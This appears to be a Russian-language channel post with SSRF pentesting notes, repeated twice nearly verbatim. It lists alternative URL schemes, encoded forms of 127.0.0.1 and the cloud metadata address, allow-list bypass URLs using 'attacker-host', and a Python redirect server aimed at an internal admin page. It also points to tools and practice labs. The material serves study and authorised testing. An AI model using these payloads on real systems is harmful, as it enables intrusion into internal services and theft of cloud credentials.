Всем 👋! Это Bagley
⚠️ Сегодня будут краткие заметки о SSRF (чтоб не потерять)
Предположим, приложение для отображения аватарки делает запрос:
POST /api/v2/profile-img HTTP/2
Host: api.example.com
Content-Type: application/json
{"path": "http://api.example.com/private/images/mdaDPldsji"}
Можно попробовать указать другое значение параметра path:
{"path": "http://localhost/"}
#️⃣ Что можно попробовать, кроме схемы http:// :
file://
dict://
sftp://
tftp://
ldap://
gopher://
netdoc://
#️⃣Сервер (или какой-нибудь waf) агрится на 127.0.0.1? Можно попробовать:
http://2130706433/ = http://127.0.0.1
http://0177.0.0.1/ = http://127.0.0.1
http://0x7F000001/ = http://127.0.0.1
http://127.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
http://0x7f000001 = http://127.0.0.1
http://0xc0a80101 = http://192.168.1.1
http://0xa9fea9fe = http://169.254.169.254
(это относится к любому IP)
#️⃣ Или вообще другие IP, ассоциированные с localhost
127.127.127.127
127.0.1.3
127.0.0.0
169.254.169.254
...
#️⃣ Можно использовать доменные имена, которые резолвятся в 127.0.0.1 (или зарегать такое самому)
foo.localtest.me
localtest.me
localho.st
company.127.0.0.1.nip.io
#️⃣ Если и так не получается, проверим, а улетают ли запросы на сторонний сервер? Это можно узнать, указав Burp Collaborator или interactsh (или свой domain/ip) в качестве значения тестируемых параметров (а можно вообще во все параметры пихать). Если отстук есть - можно запустить на своём сервере этот код, для обращения на внутренние ресурсы (через редирект, причём, не только на http://)
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:8080/admin')
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 80), RedirectHandler)
httpd.serve_forever()
#️⃣ Работа с WhiteList domains:
Передача кред в схему (user:pass@host.com)
https://allowed-host:fakepassword@attacker-host
# - как фрагмент URL
https://attacker-host#allowed-host
Иерархия DNS-имен
https://allowed-host.attacker-host
Комбинация методов:
stockApi=http%3A%2F%2Flocalhost%2523@stock.weliketoshop.net%3A8080%2Fadmin
Мы передаем localhost - как имя пользователя, потом делаем двойной URL-encode # - %2523, сервер принимает это как часть URL, и отсекает все что после # и до / (%2f)
⭐️ Тулзы, которые могут нам помочь:
👉 Surf
👉 SSRFmap
👉 Gopherus - очень крутая штука, рекомендую ознакомиться
👉 interactsh
+ любой Fuzz'ер
⭐️ CheatSheet'ы и Guid'ы:
👉 book.hacktricks.wiki
👉 hacktricks.boitatech.com.br
👉 Github от swisskyrepo - PayloadsAllTheThings
👉 Github от six2dez - pentest-book
👉 Пару крутых статей от Intigriti - ssrf - a complete guide, SSRF
👉 Ну и конечно же красивая mindmap'а
⭐️ Дополнительно почитать:
👉 Статья на habr'е, и еще одна
#️⃣ Примеры SSRF в лабах HackTheBox (разборы от IppSec'a):
заходим,
пишем SSRF,
смотрим.
⛏Практика:
👉 PortSwigger Academy
👉 tryhackme
👉 SSRF_Vulnerable_Lab
👉 root-me
#ToolsTipsAndTricks
⚠️ Сегодня будут краткие заметки о SSRF (чтоб не потерять)
💬 Server-Side Request Forgery — подделка запросов на стороне сервера. Эта уязвимость позволяет отправлять запросы от имени сервера к внешним или внутренним ресурсам.
Предположим, приложение для отображения аватарки делает запрос:
POST /api/v2/profile-img HTTP/2
Host: api.example.com
Content-Type: application/json
{"path": "http://api.example.com/private/images/mdaDPldsji"}
Можно попробовать указать другое значение параметра path:
{"path": "http://localhost/"}
#️⃣ Что можно попробовать, кроме схемы http:// :
file://
dict://
sftp://
tftp://
ldap://
gopher://
netdoc://
#️⃣Сервер (или какой-нибудь waf) агрится на 127.0.0.1? Можно попробовать:
http://2130706433/ = http://127.0.0.1
http://0177.0.0.1/ = http://127.0.0.1
http://0x7F000001/ = http://127.0.0.1
http://127.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
http://0x7f000001 = http://127.0.0.1
http://0xc0a80101 = http://192.168.1.1
http://0xa9fea9fe = http://169.254.169.254
(это относится к любому IP)
#️⃣ Или вообще другие IP, ассоциированные с localhost
127.127.127.127
127.0.1.3
127.0.0.0
169.254.169.254
...
#️⃣ Можно использовать доменные имена, которые резолвятся в 127.0.0.1 (или зарегать такое самому)
foo.localtest.me
localtest.me
localho.st
company.127.0.0.1.nip.io
#️⃣ Если и так не получается, проверим, а улетают ли запросы на сторонний сервер? Это можно узнать, указав Burp Collaborator или interactsh (или свой domain/ip) в качестве значения тестируемых параметров (а можно вообще во все параметры пихать). Если отстук есть - можно запустить на своём сервере этот код, для обращения на внутренние ресурсы (через редирект, причём, не только на http://)
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:8080/admin')
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 80), RedirectHandler)
httpd.serve_forever()
#️⃣ Работа с WhiteList domains:
Передача кред в схему (user:pass@host.com)
https://allowed-host:fakepassword@attacker-host
# - как фрагмент URL
https://attacker-host#allowed-host
Иерархия DNS-имен
https://allowed-host.attacker-host
Комбинация методов:
stockApi=http%3A%2F%2Flocalhost%2523@stock.weliketoshop.net%3A8080%2Fadmin
Мы передаем localhost - как имя пользователя, потом делаем двойной URL-encode # - %2523, сервер принимает это как часть URL, и отсекает все что после # и до / (%2f)
⭐️ Тулзы, которые могут нам помочь:
👉 Surf
👉 SSRFmap
👉 Gopherus - очень крутая штука, рекомендую ознакомиться
👉 interactsh
+ любой Fuzz'ер
💬 Gopher - это протокол прикладного уровня, который обеспечивает возможность извлекать и просматривать веб-документы, хранящиеся на удаленных веб-серверах. Gopher был задуман в 1991 году как один из первых протоколов доступа к данным / файлам в Интернете, работающий поверх сети TCP / IP. Он был разработан в Университете Миннесоты и назван в честь школьного талисмана.
⭐️ CheatSheet'ы и Guid'ы:
👉 book.hacktricks.wiki
👉 hacktricks.boitatech.com.br
👉 Github от swisskyrepo - PayloadsAllTheThings
👉 Github от six2dez - pentest-book
👉 Пару крутых статей от Intigriti - ssrf - a complete guide, SSRF
👉 Ну и конечно же красивая mindmap'а
⭐️ Дополнительно почитать:
👉 Статья на habr'е, и еще одна
#️⃣ Примеры SSRF в лабах HackTheBox (разборы от IppSec'a):
заходим,
пишем SSRF,
смотрим.
⛏Практика:
👉 PortSwigger Academy
👉 tryhackme
👉 SSRF_Vulnerable_Lab
👉 root-me
#ToolsTipsAndTricks